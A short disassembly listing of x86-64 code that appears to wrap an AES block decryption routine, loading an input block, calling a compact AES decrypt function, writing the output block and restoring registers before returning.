mov eax, dword [rdi]
mov ebx, dword [rdi + 4]
mov ecx, dword [rdi + 8]
mov edx, dword [rdi + 0xc]
shl r13d, 4
lea rbp, [r15 + r13]
mov qword [rsp], r15
mov qword [rsp + 8], rbp
lea r14, [0x00404600]
lea rbp, [rsp + 0x300]
sub rbp, r14
and rbp, 0x300
lea r14, [r14 + rbp]
shr rbp, 3
add r14, rbp
call sym._x86_64_AES_decrypt_compact
mov r9, qword [rsp + 0x10]
mov rsi, qword [rsp + 0x18]
mov dword [r9], eax
mov dword [r9 + 4], ebx
mov dword [r9 + 8], ecx
mov dword [r9 + 0xc], edx
mov r15, qword [rsi - 0x30]
mov r14, qword [rsi - 0x28]
mov r13, qword [rsi - 0x20]
mov r12, qword [rsi - 0x18]
mov rbp, qword [rsi - 0x10]
mov rbx, qword [rsi - 8]
lea rsp, [rsi]
mov rdi, qword [rsp + 8]
mov rsi, qword [rsp + 0x10]
repz ret